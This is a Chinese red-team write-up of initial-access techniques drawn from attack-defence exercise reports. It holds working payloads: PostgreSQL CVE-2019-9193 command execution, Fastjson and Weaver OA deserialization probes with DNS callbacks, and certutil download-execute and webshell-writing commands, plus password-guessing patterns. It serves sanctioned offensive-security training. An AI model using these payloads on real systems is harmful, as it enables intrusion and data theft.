前言
(可能思路狹隘,有缺有錯,師傅們多帶帶)
【查看資料】
Author: 0ne
本篇文章數據來源于18+省市級別HVV,90+單位失陷報告。(一部分是筆者的參與,一部分是薅的公司其他師傅的報告)思路樸素不包含釣魚和叼炸天的0day。

突破入口點方法統計圖:

攻防演練中得分項只關注兩點,權限&數據:權限類型分為系統權限和應用權限,權限高低又分為管理員權限和普通用戶權限。數據一般是要四件套,姓名,手機號,身份證,住址。通常敏感數據這樣定義,不過看當前的應用可能敏感信息的定義又會不同,比如醫院系統,病例信息就算是敏感數據。
根據上述統計結果由高到低選取部分得分方法進行說明。
弱口令[web應用]
弱口令是永遠修復不了的漏洞,每場攻防演練都會有弱口令撕開的口子(出現次數29)
這里討論的是一些web應用的弱口令,不包括統計結果的
PostgreSQL/redis/VPN/Jenkins/Adminer的弱口令。
說起弱口令那就不得不提爆破的技巧了。爆破前應想辦法繞過驗證碼,部分驗證碼存在不刷新或是有驗證的邏輯錯誤可繞過的情況。通常在忘記密碼處可能會存在用戶名枚舉漏洞。對于用戶名字典,根據當前的系統可猜測為姓名簡稱或是工號ID。也可翻閱當前登錄框的JS正則或是google信息搜索進行合理猜測。在有大量用戶基數的情況下,通常固定弱口令遍歷用戶名效果最佳。在多次通過SQL注入獲取登錄后臺密碼md5解密后的情況來看,管理員以域名簡稱或是系統簡稱+@年份出現,或是相關的簡稱的密碼概率不小。如:某消防系統/bjtuxfk[xxxx消防科],某婦聯后臺/gzfl@2020。
好用的字典
https://github.com/fuzz-security/Superwordlist
https://github.com/gh0stkey/Web-Fuzzing-Box
弱口令[其他]
數據庫弱口令只遇見了PostgreSQL/Redis,其它未遇見可能那些常見使用的數據庫經常使用,剩下的可能連運維都不知道這開著的。
PostgreSQL(從版本9.3至11.2)任意命令執行漏洞(CVE-2019-9193)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Redis
連上先info查看Server信息[redis版本和OS信息]:
Redis 4.x/5.x RCE
https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-windows
linux
寫計劃任務,寫公鑰,寫webshell[知道web路徑]
Windows
寫啟動項,寫webshell[知道web路徑]
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
https://github.com/r35tart/RedisWriteFile
windows說實話沒遇到過,權限夠了,先寫啟動項,再想辦法給它干重啟[YY的沒打過QAQ]
這兩篇windows&redis蠻細的:
https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940
VPN弱口令
如果是WebVPN的話,用戶基數大,可以固定弱口令按照學號工號ID爆破。案例中的VPN弱口令是一個客戶端,需要下載,密碼不像是試出來的,更像是從Google/Git信息泄露,或是知道該員工的手機號扔進褲子里,根據里面的信息拼湊出來的[個人猜測]。
Jenkins弱口令
后臺腳本命令行可執行命令,LOLBAS下載執行沒啥說的。
Adminer弱口令
MySQL寫webshell也沒啥說的。
shiro反序列化
shiro永遠的神!沒有shiro我都不知道怎么日站了(出現次數28)
這兩年來shiro反序列化可謂是攻防演練中的漏洞利用之首,無論是公司自研的資產收集平臺還是git上優秀的項目ShuiZe等等都帶著shiro指紋的識別。專找目標的shiro也很簡單,目標發散到域名發散到子域名發散到IP到全端口,將這些URL導入shiro識別工具。再跑key,再利用。統計的28個shiro中有27個通過OneforAll或是FoFa等方式收集,其中有一個shiro在微信公眾號中找到的。
好用的tools:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack
任意文件上傳[通用]
樸實無華(出現次數10)
一般情況下拿shell最快的方法就是找上傳,我們應該快速驗證上傳是否是基于后端的白名單校驗。如果是后端的白名單校驗,在沒有解析漏洞或是其它漏洞的組合下,我們應該放棄該接口。需要注意的是我們在上傳文件判斷黑白名單時,上傳的文件內容最好是無害的,否則可能會WAF干擾。我們一定要清楚該次上傳失敗是因為程序本身的限制還是WAF的阻攔。切忌對upload接口fuzz,雷聲大雨點小。
值得一提的是在統計的10次上傳中,有一次在微信小程序,有一個swagger信息泄露upload接口,有一次在某銀行的在線聊天系統,點擊人工時,會出現傳圖片的按鈕。
客服系統:

還有一個案例:
進入后臺通過Kindeditor文件上傳,又通過XXXX進行文件管理,有重命名功能,改為.php。getshell。
文件上傳繞WAF的本質就是服務器與WAF對數據包解析的差異性,下面提供幾個畸形數據包:

Fastjson反序列化
也好用(出現次數6)
判斷是否為fastjson:報錯拋出異常或是DNSlog
{"rand1":{"@type":"JAVA.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
遇見WAF:
hex編碼或是b:

詳見:
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568
好用的tools:
https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit
敏感信息泄露
蒼蠅再小也是肉(出現次數5)
醫院啊,這個比較多遇見的案例都是微信公眾號或是小程序,遍歷病例數據:


還遇見了swagger信息泄露構造接口查詢:


UEditor1.4.3任意文件上傳
出其不意(出現次數5)
當遇見.NET的網站時,右鍵查看圖片URL為~/ueditor~/upload/image/[20200101]這種年月格式/25位數字.png,就可以判斷該站點使用了UEditor[直接目錄掃描工具掃也行],就需要我們拼接出路徑~/net/controller.ashx:
~前面可能不太固定需要自己在JS里找信息,或是合理猜測。
提一嘴,之前遇見個站點.png?.aspx,站點返回了404,可以直接.png.aspx,同時UEditor有過濾?的特性,在有WAF的時候可酌情使用。

MSSQL堆疊注入
基操
--os-shell后,得到一個命令行,一般是certutil下載執行或是powershell直接上線。也可寫入webshell:
找靜態資源定位物理路徑
for /r C: %i in (*xxx*) do @echo %i
dir /s/a-d/b C:*xxx.xxx
echo ^<一句話^> >C:phpstudy_proWWWshell.txt
<>注意使用^轉義


OA系統
沒啥說的,有0day砸0day
泛*OA,致*OA,通*OA,用*NC
github搜搜搜,內部自己有積累未批露利用點最好。
泛*OA的兩個案例用的WorkflowServiceXml反序列化比較絲滑。
判斷是否可利用:
POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

雜七雜八
胡言亂語
SQL注入獲取敏感數據感覺沒啥提的,記得sqlmap加上參數random-agent。
S2在外網見的少了,也不知道大佬咋翻墻進去的。
歷史遺留后門404.jsp成了入口點也是離譜。
各種debug信息泄露云key導入行云管家證明權限就OK。
已經語無倫次了......
閑言閑語
柿子撿軟的捏
web打點本就是個效率活,打得就是軟柿子,不要給你一個站點測了半天到最后才發現:咦這里有個上傳/shiro/fastjson....這就耽誤功夫了,要帶著目的性,盡量減少試錯的過程,少做無用功。